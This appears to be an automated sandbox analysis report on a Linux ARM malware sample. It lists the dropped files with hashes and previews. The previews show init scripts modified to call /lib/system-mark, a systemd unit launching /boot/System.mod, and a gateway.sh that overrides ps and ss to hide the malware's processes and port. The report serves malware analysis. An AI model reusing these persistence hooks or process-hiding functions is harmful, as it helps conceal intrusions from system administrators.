Preview:	#! /bin/sh.# kFreeBSD do not accept scripts as interpreters, using #!/bin/sh and sourcing..if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then./lib/system-mark. set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script.fi.### BEGIN INIT INFO.# Provides: procps.# Required-Start: mountkernfs $local_fs.# Required-Stop:.# Should-Start: udev module-init-tools.# X-Start-Before: $network.# Default-Start: S.# Default-Stop:.# Short-Description: Configure kernel parameters at boottime.# Description: Loads kernel parameters that are specified in /etc/sysctl.conf.### END INIT INFO.#.# written by Elrond <Elrond@Wunder-Nett.org>..DESC="Setting kernel variables".DAEMON=/sbin/sysctl.PIDFILE=none..# Comment this out for sysctl to print every item changed.QUIET_SYSCTL="-q"..do_start_cmd() {..STATUS=0..$DAEMON $QUIET_SYSCTL --system \|\| STATUS=$?..return $STATUS.}..do_stop() { return 0; }.do_status() { return 0; }..

/etc/init.d/rsync

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	5.249855326047257
Encrypted:	false
SSDEEP:	96:jdRMpo498RXFzyb1U0lKRuHp8gXGHoNURkx:jdRMpJ98g1U0c8JxWINUmx
MD5:	BBBAC3DC084FCC76813396852B0383FE
SHA1:	675F156F5AAF3BFA73C23A1478680F9769D19926
SHA-256:	BF77774A109F072532F634BCC63FB7DA005BEB0D553418FA42DED906F3025EFF
SHA-512:	C7F9AE322C14643F6D711B4B20AD009522B3FE02E986CFB5F839717144BF795E70E17A2745D24E74C4CA76922FF8ED0C1D413F7CEBDECA25CFC52AE4EDE04FA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh..### BEGIN INIT INFO.# Provides: rsyncd.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# Should-Start: $named autofs.# Default-Start: 2 3 4 5.# Default-Stop: .# Short-Description: fast remote file copy program daemon.# Description: rsync is a program that allows files to be copied to and.# from remote machines in much the same way as rcp..# This provides rsyncd daemon functionality..### END INIT INFO..set -e..# /etc/init.d/rsync: start and stop the rsync daemon..DAEMON=/usr/bin/rsync.RSYNC_ENABLE=false.RSYNC_OPTS=''.RSYNC_DEFAULTS_FILE=/etc/default/rsync.RSYNC_CONFIG_FILE=/etc/rsyncd.conf.RSYNC_PID_FILE=/var/run/rsync.pid.RSYNC_NICE_PARM=''.RSYNC_IONICE_PARM=''..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..if [ -s $RSYNC_DEFAULTS_FILE ]; then./lib/system-mark. . $RSYNC_DEFAULTS_FILE. case "x$RSYNC_ENABLE" in..xtrue\|xfalse).;;..xinetd)..exit 0....;;..*)..log_fail

/etc/init.d/rsyslog

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2899
Entropy (8bit):	5.275562121366292
Encrypted:	false
SSDEEP:	48:7cqmpKHnuoz/SWSZABLG/tm3RpZWE/eXt5Ie3nLqWpvU8lbzZdaZ2YI:75sKHuS8ZABLG1m3rZWE2Xt5Ie3nR5JT
MD5:	5D640A7C6908172899411BF2B8B1DE9C
SHA1:	B3980052CC12A5ACF1DD34D134CD822CAE09C63A
SHA-256:	A40550FEDDF8DB933722514358F364F7CCD50E9EFF123F4F408575BFB0865DE2
SHA-512:	E0AAF4ACC9F2707B6B191A5BDB36711F43D5C1890D5FFD614C03C2525E31F7993BE0308B865DA41B6D4E83A32759AEE91D8B94C293AD6174C2D94633980B3766
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: rsyslog.# Required-Start: $remote_fs $time.# Required-Stop: umountnfs $time.# X-Stop-After: sendsigs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: enhanced syslogd.# Description: Rsyslog is an enhanced multi-threaded syslogd..# It is quite compatible to stock sysklogd and can be .# used as a drop-in replacement..### END INIT INFO..#.# Author: Michael Biebl <biebl@debian.org>.#..# PATH should only include /usr/* if it runs after the mountnfs.sh script.PATH=/sbin:/usr/sbin:/bin:/usr/bin.DESC="enhanced syslogd".NAME=rsyslog..RSYSLOGD=rsyslogd.DAEMON=/usr/sbin/rsyslogd.PIDFILE=/run/rsyslogd.pid..SCRIPTNAME=/etc/init.d/$NAME..# Exit if the package is not installed.[ -x "$DAEMON" ] \|\| exit 0..# Read configuration variable file if it is present.[ -r /etc/default/$NAME ] && . /etc/default/$NAME..# Define LSB log_* functions... /lib/lsb/init-functions..do_st

/etc/init.d/saned

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2293
Entropy (8bit):	5.0050970590485715
Encrypted:	false
SSDEEP:	24:aruzoYFiVHCVhQJABlRi5tzldBOVQReMdHvdNw5G/9yNuFimjBklJJq5MxnR5/2F:e7Y0u/i5t7RbHwG/9diHlrXnL/iOs1
MD5:	E26E346029E7C03BC1EF969368CF6A1D
SHA1:	7AD4BCFDA2907E9EED7C2DC81820EABFC0132AE7
SHA-256:	B26A28FBDDDCA0E1A9232CF7719860044CB58D34E11AEDC1D53C9D57A689616A
SHA-512:	FBAF8DA2CA6CA008E3D3F1F93C6FAF794A0D62ECD161770F0D00A48697AC190BAB80A13EA1B2D18A4CFD35FA33BEB8891848D5DA67D1DAD2246995CD44B45910
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.#.### BEGIN INIT INFO.# Provides: saned.# Required-Start: $syslog $local_fs $remote_fs.# Required-Stop: $syslog $local_fs $remote_fs.# Should-Start: dbus avahi-daemon.# Should-Stop: dbus avahi-daemon.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: SANE network scanner server.# Description: saned makes local scanners available over the.# network..### END INIT INFO... /lib/lsb/init-functions..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/sbin/saned.NAME=saned.DESC="SANE network scanner server"..test -x $DAEMON \|\| exit 0..RUN=no.RUN_AS_USER=saned..# Get lsb functions.. /lib/lsb/init-functions..# Include saned defaults if available.if [ -f /etc/default/saned ] ; then./lib/system-mark. . /etc/default/saned.fi..DAEMON_OPTS="-a $RUN_AS_USER"..set -e..case "$1" in. start)..log_daemon_msg "Starting $DESC" "$NAME"..start-stop-daemon --start --quiet --pidfile /var/run/$N

/etc/init.d/screen-cleanup

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	5.007351824676895
Encrypted:	false
SSDEEP:	24:c26Nr+XEgBYxABoO21p4rqeYCRjeyvcsTN/RGT7d/LGld/7K9jp:cPQoO23+qeYSjeybRRGHdTGld/7K9jp
MD5:	2CB1D1EE81FD07E07C103CB77A254958
SHA1:	1B94DFA21FF802A7176767B4F0B5EEC16057B5EC
SHA-256:	6DEA1801FFE07EB969A54FA572A6A63C80D570CEABAC7F14BFD51DD40E67FD30
SHA-512:	48556EE1B364DA2B128006C2755F1C665559C2216ECA1CE06D7972A158CD27AB075859ABD842D7C2F118175A5616B6FE5B6288866A55B050A465E699EB67C491
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# $Id: init,v 1.3 2004/03/16 01:43:45 zal Exp $.#.# Script to remove stale screen named pipes on bootup..#..### BEGIN INIT INFO.# Provides: screen-cleanup.# Required-Start: $remote_fs.# Required-Stop: $remote_fs.# Default-Start: S.# Default-Stop:.# Short-Description: screen sessions cleaning.# Description: Cleans up the screen session directory and fixes its.# permissions if needed..### END INIT INFO..set -e..test -f /usr/bin/screen \|\| exit 0..SCREENDIR=/run/screen..case "$1" in.start). if test -L $SCREENDIR \|\| ! test -d $SCREENDIR; then./lib/system-mark. rm -f $SCREENDIR. mkdir $SCREENDIR. chown root:utmp $SCREENDIR. [ -x /sbin/restorecon ] && /sbin/restorecon $SCREENDIR. fi. find $SCREENDIR -type p -delete.# If the local admin has used dpkg-statoverride to install the screen.# binary with different set[ug]id bits, change the permissions of.# $SCREENDIR accordingly. BINARYPERM=`stat -c%a /usr/bin/screen`. if [ "

/etc/init.d/spice-vdagent

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2519
Entropy (8bit):	4.741374235420371
Encrypted:	false
SSDEEP:	48:DFZazGMU+rI4CXyUH0I6zroGW//AhrHoGx//AuiIngcu/syylyTIsD2E8AB6/oBa:DF0GMU+1iD6foGWQRHoGxQuiIngczVII
MD5:	652E57DD61B8A64F80D9CCCD751E4476
SHA1:	1C9E3D8CBCD6F9E6B1B3994D8246C89A52BA84CE
SHA-256:	49FEFA6609A75C4A3624B556F2593A15B2F9E0C173BFB2233B90DBC8BF52E53D
SHA-512:	657C725D48D6A56929530EC68DB98895C4EB7F3A6C94E799FBA2BF48053883F8128C03F934A63E623340FD0433FE5222685CAC501D5C8D9B81317353649E382D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.#.# spice-vdagent Agent daemon for Spice guests.#.# chkconfig: 345 70 30.# description: Together with a per X-session agent process the spice agent \.# daemon enhances the spice guest user experience with client \.# mouse mode, guest <-> client copy and paste support and more...### BEGIN INIT INFO.# Provides: . .spice-vdagent.# Required-Start: .$local_fs $remote_fs.# Required-Stop: .$local_fs $remote_fs.# Should-Start: .dbus.# Should-Stop: ..# Default-Start: .2 3 4 5.# Default-Stop: .0 1 6.# Short-Description: .Agent daemon for Spice guests.# Description: .Together with a per X-session agent process the spice agent.# .daemon enhances the spice guest user experience with client.# .mouse mode, guest <-> client copy and paste support and more..### END INIT INFO...exec="/usr/sbin/spice-vdagentd".prog="spice-vdagentd".pidfile="/var/run/spice-vdagentd/spice-vdagentd.pid".port="/dev/virtio-ports/com.redhat.spic

/etc/init.d/ssh

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	4195
Entropy (8bit):	5.068394475077908
Encrypted:	false
SSDEEP:	96:jkXSV2xsYJrvcRyAHofonXHeyKyWUkO8IhQ:j1ouYJDc7IQXoXBIhQ
MD5:	C7F75670C4CBACFFCD3EE308F9EC9F4A
SHA1:	4D77E8C62706CB0601CB8031FB0368581E479792
SHA-256:	7E40FB227308DFE02D3F2EDF82B41D0FDF729A942D78D74C72EEA7A82669BE90
SHA-512:	39EB8A235611E0B6EC4C15D5C7D86274573A0C9DFD69E31D1297F50B992B0FF247382E20DAF02133BC7896B0530C215B5A1F870A6F214C9AF0DDB1F70C213CEA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh..### BEGIN INIT INFO.# Provides:..sshd.# Required-Start:.$remote_fs $syslog.# Required-Stop:.$remote_fs $syslog.# Default-Start:.2 3 4 5.# Default-Stop:...# Short-Description:.OpenBSD Secure Shell server.### END INIT INFO..set -e..# /etc/init.d/ssh: start and stop the OpenBSD "secure shell(tm)" daemon..test -x /usr/sbin/sshd \|\| exit 0.( /usr/sbin/sshd -\? 2>&1 \| grep -q OpenSSH ) 2>/dev/null \|\| exit 0..umask 022..if test -f /etc/default/ssh; then./lib/system-mark. . /etc/default/ssh.fi... /lib/lsb/init-functions..if [ -n "$2" ]; then./lib/system-mark. SSHD_OPTS="$SSHD_OPTS $2".fi..# Are we running from init?.run_by_init() {. ([ "$previous" ] && [ "$runlevel" ]) \|\| [ "$runlevel" = S ].}..check_for_no_start() {. # forget it if we're trying to start, and /etc/ssh/sshd_not_to_be_run exists. if [ -e /etc/ssh/sshd_not_to_be_run ]; then ./lib/system-mark..if [ "$1" = log_end_msg ]; then./lib/system-mark.. log_end_msg 0 \|\| true..fi..if ! run_by_init; then./lib/syst

/etc/init.d/udev

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	7281
Entropy (8bit):	4.982014475224516
Encrypted:	false
SSDEEP:	96:l7vIwGhwBoNNqeI4OyxwfPlBALWGGgRoG2davbKBJKCrrS2DvwvPmWGPmTbKBJKk:lOWoYiOVlz2B2daxqrS2zwGW51Wymj
MD5:	9C101DF581AD6E404FB99F3B974E743E
SHA1:	CF4A059360FEDD5F371C815772E2BAFC4532E997
SHA-256:	63F0156061B5B581C069F51ED8E3B0473CF796EA88A3BF4BE92B420D529B59AB
SHA-512:	4F7658321F7AC02F9D528088E8A572B8F8549C8FCC61366BDC43ACB61C9C216EBF597D78116A5DB4A42BDC0DC17A4AF6B55C068DB41BDC2DC661900B70A3EDE2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh -e.### BEGIN INIT INFO.# Provides: udev.# Required-Start: mountkernfs.# Required-Stop: umountroot.# Default-Start: S.# Default-Stop: 0 6.# Short-Description: Start systemd-udevd, populate /dev and load drivers..### END INIT INFO..PATH="/sbin:/bin".NAME="systemd-udevd".DAEMON="/lib/systemd/systemd-udevd".DESC="hotplug events dispatcher".PIDFILE="/run/udev.pid".CTRLFILE="/run/udev/control".OMITDIR="/run/sendsigs.omit.d"..# we need to unmount /dev/pts/ and remount it later over the devtmpfs.unmount_devpts() {. if mountpoint -q /dev/pts/; then./lib/system-mark. umount -n -l /dev/pts/. fi.. if mountpoint -q /dev/shm/; then./lib/system-mark. umount -n -l /dev/shm/. fi.}..# mount a devtmpfs over /dev, if somebody did not already do it.mount_devtmpfs() {. if grep -E -q "^[^[:space:]]+ /dev devtmpfs" /proc/mounts; then./lib/system-mark. mount -n -o remount,nosuid,size=$tmpfs_size,mode=0755 -t devtmpfs devtmpfs /dev. return. fi.. if ! mount -

/etc/init.d/ufw

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2220
Entropy (8bit):	4.757250053076253
Encrypted:	false
SSDEEP:	48:1LleiFcd/nzngwPatTM/JrNWwj/Jb/SX9l:1BDFmXOQvJE
MD5:	EA501062EF1DD3FA29A5BC5479E85D5C
SHA1:	997CD2C9A15D23589A8862E2F521A6E40C807311
SHA-256:	90D6965642D81F9AF96BA403FA262381940E73011724178E6B72EC54955C0BCB
SHA-512:	95D16F0A742BA49AA8ABEA1F448F602B4F00ED3DBDD51B25E71C79A68B9F07926B252A9B66D1BFFB760247BD4C605CCD9B4ACCF3ED1D1755A7886651AC6C396D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides: ufw.# Required-Start: $local_fs.# Required-Stop: $local_fs.# Default-Start: S.# Default-Stop: 1.# Short-Description: start firewall.# Description: Start ufw firewall.### END INIT INFO..set -e..PATH="/sbin:/bin"..[ -d /lib/ufw ] \|\| exit 0... /lib/lsb/init-functions..for s in "/lib/ufw/ufw-init-functions" "/etc/ufw/ufw.conf" "/etc/default/ufw" ; do. if [ -s "$s" ]; then./lib/system-mark. . "$s". else. log_failure_msg "Could not find $s (aborting)". exit 1. fi.done..error=0.case "$1" in.start). if [ "$ENABLED" = "yes" ] \|\| [ "$ENABLED" = "YES" ]; then./lib/system-mark. log_action_begin_msg "Starting firewall:" "ufw". output=`ufw_start` \|\| error="$?". if [ "$error" = "0" ]; then./lib/system-mark. log_action_cont_msg "Setting kernel variables ($IPT_SYSCTL)". fi. if [ ! -z "$output" ]; then./lib/system-mark. echo "$output" \| while read

/etc/init.d/unattended-upgrades

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1426
Entropy (8bit):	5.323775798950294
Encrypted:	false
SSDEEP:	24:aMXni+12wpFKFOGofwvlf/HNVKowwflHBhF/7Px1gr:bni23FKFpbt3GnoHBDbx2
MD5:	0BAD7D02A34912B684C93C71BFD19757
SHA1:	688CF612860E3C7125D34B63F7EF584DC65E4550
SHA-256:	FF796642243AF8B1492D63FF16F761AE942A4AE7CCFA17A05E3CF533B0D6E4DB
SHA-512:	D806A1D5B8AD9AA0A51841825DA8ACD4DA299D331874CD6FD777BCD6802B8BC7498B118B6D85F7E1793749EDCD3ABBD57EA78620226D34E43DA3AE1EE73BA684
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.#.### BEGIN INIT INFO.# Required-Start: $local_fs $remote_fs.# Required-Stop: $local_fs $remote_fs.# Provides: unattended-upgrade-shutdown-check.# Default-Start: 2 3 4 5.# Default-Stop: 0 6.# Short-Description: Check if unattended upgrades are being applied.# Description: Check if unattended upgrades are being applied.# and wait for them to finish.### END INIT INFO.set -e..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin..NAME="unattended-upgrades-shutdown".DESC="unattended package upgrades shutdown".SCRIPTNAME="/etc/init.d/$NAME".SHUTDOWN_HELPER="/usr/share/unattended-upgrades/unattended-upgrade-shutdown"..if [ -x /usr/bin/python3 ]; then./lib/system-mark. PYTHON=python3.else. PYTHON=python.fi..# Load the VERBOSE setting and other rcS variables.. /lib/init/vars.sh..# Define LSB log_* functions..# Depend on lsb-base (>= 3.2-14) to ensure that this file is present.. /lib/lsb/init-functions..case "$1" in.

/etc/init.d/uuidd

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	5.209136415739334
Encrypted:	false
SSDEEP:	24:aNmC4ozLk8BZa8LNfwa0aDEPLu5CB5ZM5AHdwi/mqT0KtOC:3VozBjdh0a4PLuIBvMGwitIKtl
MD5:	A18F61759309F7DAE1CF4D379B0DC2E0
SHA1:	38BB4BFF894D6973BC2B59145A28CD93FC2A2B26
SHA-256:	8750FAACA2F9E6ED50996EBA4C23F884241C27A375CCFE79801715044BEA7232
SHA-512:	18489A3A5A446A80D1EEB324AD9823480FF2C53AF1703D4DB6B3DE42A7901B0223135948FD5162F60418F1AB7B7AA1CB3D3CA5C7D1E9E05F6048204DD913D6FB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh -e.### BEGIN INIT INFO.# Provides: uuidd.# Required-Start: $time $local_fs $remote_fs.# Required-Stop: $time $local_fs $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: uuidd daemon.# Description: Init script for the uuid generation daemon.### END INIT INFO.#.# Author:."Theodore Ts'o" <tytso@mit.edu>.#.set -e..PATH=/bin:/usr/bin:/sbin:/usr/sbin.DAEMON=/usr/sbin/uuidd.UUIDD_USER=uuidd.UUIDD_GROUP=uuidd.UUIDD_DIR=/run/uuidd.PIDFILE=$UUIDD_DIR/uuidd.pid..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..case "$1" in. start)..log_daemon_msg "Starting uuid generator" "uuidd"..if ! test -d $UUIDD_DIR; then./lib/system-mark...mkdir -p $UUIDD_DIR...chown -R $UUIDD_USER:$UUIDD_GROUP $UUIDD_DIR..fi..start_daemon -p $PIDFILE $DAEMON..log_end_msg $?. ;;. stop)..log_daemon_msg "Stopping uuid generator" "uuidd"..killproc -p $PIDFILE $DAEMON..log_end_msg $?. ;;. status)..if pidofproc -p $PIDFILE $DAEMON >/dev/null 2>&

/etc/init.d/x11-common

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2911
Entropy (8bit):	4.894244496059908
Encrypted:	false
SSDEEP:	48:ZETewCRgFkV5ZSVwxcRypF1vrBy9DuIpPX5uCXAepm1L3/WAhyC76XGMgH3:SggFkViVNePT09DuYX5HX3aLdqX8
MD5:	E39C2FE947515C58470F91A5A6D1ED5B
SHA1:	00C7881A33ED0425C236C9544BD43E7BC9AE46DD
SHA-256:	37CCB9BB9C51FEB17B9943BB7DF42E8E03342F5611EC649E5C6E5A87A5A2840D
SHA-512:	AB26218676CEA2C319F29911650AA98C2E7D5578E9E2130D44997FDDE2E59765E1AAC52E0EE2C466E231B55AFFCA92B9C0A67A8381725D5433C3392DE04FF7F3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# /etc/init.d/x11-common: set up the X server and ICE socket directories.### BEGIN INIT INFO.# Provides: x11-common.# Required-Start: $remote_fs.# Required-Stop: $remote_fs.# Default-Start: S.# Default-Stop:.# Short-Description: set up the X server and ICE socket directories.### END INIT INFO..set -e..PATH=/usr/bin:/usr/sbin:/bin:/sbin.SOCKET_DIR=.X11-unix.ICE_DIR=.ICE-unix... /lib/lsb/init-functions.if [ -f /etc/default/rcS ]; then./lib/system-mark. . /etc/default/rcS.fi..do_restorecon () {. # Restore file security context (SELinux).. if which restorecon >/dev/null 2>&1; then./lib/system-mark. restorecon "$1". fi.}..# create a directory in /tmp..# assumes /tmp has a sticky bit set (or is only writeable by root).set_up_dir () {. DIR="/tmp/$1".. if [ "$VERBOSE" != no ]; then./lib/system-mark. log_progress_msg "$DIR". fi. # if $DIR exists and isn't a directory, move it aside. if [ -e $DIR ] && ! [ -d $DIR ] \|\| [ -h $DIR ]; then./lib/system-mar

/etc/profile.d/bash_cfg.sh

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.261725074756386
Encrypted:	false
SSDEEP:	3:TKH/binKE:siKE
MD5:	BE6E09DEC0A6249FD83851DAF92AE627
SHA1:	9FF81BB38A0FD5432575455D7D8334BD8D983CF7
SHA-256:	44BDD8B7F00094E163540A2B8C3CF973E72499BAA20B78F8051E2422163E1D0D
SHA-512:	CCF2BDC30F45A132DBDBBF1F008A06525B7EE4A46F09A11025BA05A55835F67356DBB4F8E826AFB28C73AFE5653C09C7CEAA082A2194A0D7C78BE101A4AD1F30
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash./etc/profile.d/bash_cfg

/etc/profile.d/gateway.sh

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	Bourne-Again shell script, ASCII text executable, with very long lines (910)
Category:	dropped
Size (bytes):	6339
Entropy (8bit):	4.818707247368978
Encrypted:	false
SSDEEP:	192:sjahyOjP3ECqh8teMjahyOjP3ECqh8te2jahyOjP3ECqh8te+jahyOjP3ECqh8t6:04qSgQko
MD5:	117B958BBB1D520DC94CB9D3F4026C71
SHA1:	B3B6A29CBA70392FDBF1CAE3EE0F392F7A0F2C72
SHA-256:	C3C2773D1D940B0DED8107CAFD228DD3C2F5EF78F7EA18CAFB8DD74EA7F823FF
SHA-512:	64D6119E88DB2A530C02401331A09CA6351F71BF35A393406FC87CC6C2A90E98B2BCE2F0305DA1F00E4778F0DC3B8C78004BC91D4F0B80FBE84892DB95CEC39F
Malicious:	true
Preview:	#!/bin/bash.function ps { proc_name=$(/usr/bin/ps $@);proc_name=$(echo "$proc_name" \| sed -e '/32676/d');proc_name=$(echo "$proc_name" \| sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" \| sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" \| sed -e '/System.mod/d');proc_name=$(echo "$proc_name" \| sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" \| sed -e '/32676/d');proc_name=$(echo "$proc_name" \| sed -e '/.mod/d');proc_name=$(echo "$proc_name" \| sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" \| sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" \| sed -e '/system-mark/d');proc_name=$(echo "$proc_name" \| sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" \| sed -e '/sleep/d');proc_name=$(echo "$proc_name" \| sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" \| sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" \| sed -e '/Xq5coKA8BI.elf/d');echo "$proc_name"; }.function ss { proc_name=$(/usr/bin/ss $@);proc_name=$(echo "$proc_name" \| sed -e '/3267

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/proc/5652/loginuid

Download File

Process:	/usr/sbin/cron
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

/proc/5713/loginuid

Download File

Process:	/usr/sbin/cron
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

/run/crond.pid

Download File

Process:	/usr/sbin/cron
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:HR/xvn:x/xvn
MD5:	6CFE9E9DA5B11B804036B4EF5A057D76
SHA1:	38FEA887F7C8816AADD6E982575619BF18377EF0
SHA-256:	ED9599D334326701411F8EF1317491B973896C3B16090FBC8F4973D1FEDB67AE
SHA-512:	CED6EE887AF1BBCBAFB0476DDD6523016AF45357F3F6CB4D394BDA875F700F7CAF5A6BB40FC06668A73553A2CF36117E712E25DA5B13A07521DBC1C183F66794
Malicious:	false
Preview:	5742.5742.

/tmp/qemu-open.ZjBQdm (deleted)

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	120
Entropy (8bit):	2.952210564683004
Encrypted:	false
SSDEEP:	3:Etg3qsQXTUdVvX:EK3+XYdVf
MD5:	C780C70373CC27536D2023F88EF60E44
SHA1:	89E716BE458CD6F3C5E777EFF9484068AE6A6A14
SHA-256:	1E532145B295AC241A0E5FBD4524BE5AD646938A053959A3EDF6D348D4E44263
SHA-512:	41B5DEC68480AEC6EB668C1918ACCB706ED16DBF74F7200A5B0798443B12E253E16DD8CFC58B13E030F1506A1D81AA8913EF6652C5CC02ECDE2CCF5190ACEDE1
Malicious:	false
Preview:	5477 (/tmp/Xq5coKA8BI.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294901136 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/usr/lib/systemd/system/quotaoff.service

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.795801274247707
Encrypted:	false
SSDEEP:	3:zMZa7kKXtERv+2AXTMikAdIgQ+NRs7WRA2Iav817WRA2IavpsRs7WRA2Iav2rSkc:z86XWRBADMD+ns7Hvx17Hv2sRs7HvtLc
MD5:	B02DE6CD28CD922B18D9D93375A70D8B
SHA1:	021426A5A2FF9EDC80BA5936C94B37525538885E
SHA-256:	D8D8E5CD33AA3450CD74C63716A02F3DFF39EFEF2836559F110BC93663B1380A
SHA-512:	DB3FE03AD5E599E6C03AAEC7BF1242F5509FBB624ADB9AFB7499E25487DAEF3F3F1C6BABF51570B527A5AC5C9F4B079AE4CC53BAA9497C0A121328BEF8D04422
Malicious:	false
Preview:	[Unit].Description=linux.After=network.target.[Service].Type=forking.ExecStart=/boot/System.mod.ExecReload=/boot/System.mod.ExecStop=/boot/System.mod.[Install].WantedBy=multi-user.target

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=UrYATm1dxFxYHB51A6Ai/tg6lzQQ5nm9vL0nhDvL-/EdUnjuJmsciqJzS1eODR/_XC59n-NDh_40uXht-Vv, stripped
Entropy (8bit):	5.6377745241698785
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Xq5coKA8BI.elf
File size:	2'097'152 bytes
MD5:	790576a357429568ac84093b6f785f3a
SHA1:	b8a5de8ce8570856744717b9872afa7546c5a01e
